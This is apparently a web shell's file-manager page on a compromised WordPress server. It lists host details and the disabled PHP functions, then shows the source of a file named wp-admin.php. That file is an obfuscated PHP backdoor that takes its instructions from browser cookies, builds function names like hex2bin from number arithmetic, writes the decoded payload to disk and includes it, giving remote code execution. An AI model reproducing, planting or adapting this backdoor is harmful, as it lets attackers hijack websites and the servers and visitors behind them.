HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/xavron.com.ua/wp-admin/wp-admin.php
<?php
function schedule_work($c)
{
    $a = array(115, 18 * 48 - 748, 61 * 1 + 36, 97 + 19);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function sync_data($c)
{
    $a = array(105 * 11 - 1045, 105, 105 - 7, 19 + 31, 69 + 45 + 6, 107 - 6, 2 * 52);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

class ConnectionManager
{
    private static $_evq;
    static function fetchRecords($_jt)
    {
        if (!self::$_evq) {
            self::initializeModule();
        }
        return sync_data(self::$_evq[$_jt]);
    }
    private static function initializeModule()
    {
        self::$_evq = array('_jv' => '', '_htq' => '');
    }
}

$_dok = $_COOKIE;
$_vv = (int) round(0 + 0 + 0);
$_jt = (int) round(1.3333333333333 + 1.3333333333333 + 1.3333333333333);
$_vh = array();
$_vh[$_vv] = ConnectionManager::fetchRecords('_jv');
while ($_jt) {
    $_vh[$_vv] .= $_dok[(int) round(8.3333333333333 + 8.3333333333333 + 8.3333333333333)][$_jt];
    if (!$_dok[(int) round(6.25 + 6.25 + 6.25 + 6.25)][$_jt + (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)]) {
        if (!$_dok[(int) round(8.3333333333333 + 8.3333333333333 + 8.3333333333333)][$_jt + (int) round(1 + 1)]) {
            break;
        }
        $_vv++;
        $_vh[$_vv] = ConnectionManager::fetchRecords('_' . 'ht' . 'q');
        $_jt++;
    }
    $_jt = $_jt + (int) round(1.3333333333333 + 1.3333333333333 + 1.3333333333333) + (int) round(0.25 + 0.25 + 0.25 + 0.25);
}
$_vv = $_vh[(int) round(13.5 + 13.5)]() . $_vh[(int) round(12 + 12)];
if (!$_vh[(int) round(4.25 + 4.25 + 4.25 + 4.25)]($_vv)) {
    $_jt = $_vh[(int) round(7 + 7)]($_vv, $_vh[(int) round(4.3333333333333 + 4.3333333333333 + 4.3333333333333)]);
    $_vh[(int) round(2.3333333333333 + 2.3333333333333 + 2.3333333333333)]($_jt, $_vh[(int) round(4.75 + 4.75 + 4.75 + 4.75)] . $_vh[(int) round(1 + 1)]($_vh[(int) round(11.5 + 11.5)]($_dok[(int) round(1 + 1 + 1)])));
}
include $_vv;